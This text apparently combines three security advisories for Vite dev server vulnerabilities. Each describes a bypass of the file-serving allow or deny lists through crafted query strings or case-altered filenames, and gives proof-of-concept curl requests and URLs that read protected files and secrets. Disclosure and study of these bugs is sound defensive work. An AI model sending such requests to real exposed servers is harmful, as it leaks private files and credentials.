Summary
The contents of arbitrary files can be returned to the browser.
Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
- base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init) - content of non-allowed files is exposed using ?raw?import
/@fs/ isn't needed to reproduce the issue for files inside the project root.
PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
Summary The contents of arbitrary files can be returned to the browser.
Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details @fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
$ echo "top secret content" > /tmp/secret.txt
expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
Summary Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.
PoC Setup 1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance. - npm run dev -- --host 0.0.0.0 - Publicly accessible for the time being here: http://20.12.242.81:5173/ 2. Created dummy secret files, e.g. custom.secret and production.pem 3. Populated vite.config.js with javascript export default { server: { fs: { deny: ['.env', '.env.', '.{crt,pem}', 'custom.secret'] } } }
Reproduction 1. curl -s http://20.12.242.81:5173/@fs// - Descriptive error page reveals absolute filesystem path to project root 2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js - Discoverable configuration file reveals locations of secrets 3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT - Secrets are directly accessible using case-augmented version of filename
Proof !Screenshot 2024-01-19 022736
Impact Who - Users with exposed dev servers on environments with case-insensitive filesystems
What - Files protected by server.fs.deny are both discoverable, and accessible